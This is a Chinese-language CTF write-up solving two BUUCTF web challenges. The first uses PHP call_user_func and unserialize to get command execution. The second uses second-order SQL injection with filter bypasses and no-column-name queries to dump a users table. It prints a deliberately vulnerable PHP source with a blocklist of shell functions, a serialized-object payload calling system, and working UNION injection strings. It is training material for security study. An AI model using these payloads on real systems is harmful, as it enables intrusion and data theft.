buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
[网鼎杯 2020 朱雀组]phpweb
考察知识点:call_user_func()回调函数,反序列化
页面看不出啥,抓个包看看。
从包中我们可以看到,传递了两个参数,func和p。func的值是date,再结合p的值,我猜测这里是用了call_user_func()来回调函数,即将func的值当作函数名,p的值当作参数。那么我们直接使用system函数查看当前目录下的文件
回显Hacker,应该是被waf拦了,用highlight_file()看一下源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果然是使用了call_user_func()函数 ,不过禁用了一部分函数,导致我们没法执行命令。禁用的函数比较全面,所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类,在__destruct()里面会调用gettime(),再看禁用的函数里没有unserialize(),且$func和$p是可控的,那么就可以反序列化来达到命令执行的目的。思路已经明确了,接下来就是构造payload了。
<?php
class Test{
var $p="ls";
var $func="system";
}
$a=new Test();
echo serialize($a);
?>
尝试一下
可以看到命令成功执行了,然后就找一下flag的路径,再看flag就行了
find / -name 'flag*'
B
[SWPU2019]Web1
考察知识点: 二次注入,无列名注入
先注册个账号登录
就只有申请发布广告一个功能,点进去是填写广告名和内容,然后申请,就能在申请列表查看详情。
先申请个名字和内容都为1的广告
这里应该是将我们申请的名字和内容存入数据库,查看详情的时候再直接从数据库调用。那么就有可能存在二次注入,试一下
申请一个名为1’的广告查看详情报错,说明存在注入。fuzz一下发现过滤了空格,or,and,#。那么就直接通过联合查询确定字段数。
确定字段数为22,可显字段是2和3,查一下数据库版本和user。
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过
- InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。 - sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
这里我们使用innodb绕过。
payload:
-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1
查到有ads和users两张表
因为上述两种方法都没法注出列名,所以接下来用无列名注入。
构造一下payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
查到了一列内容
再查另一列
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
拿到flag
关于无列名注入有兴趣的可以去百度一下,我过段时间应该也会写一篇无列名注入的文章。
上一篇: Day43——SpringBoot学习笔记part1
下一篇: DAY30 LeetCode学习日记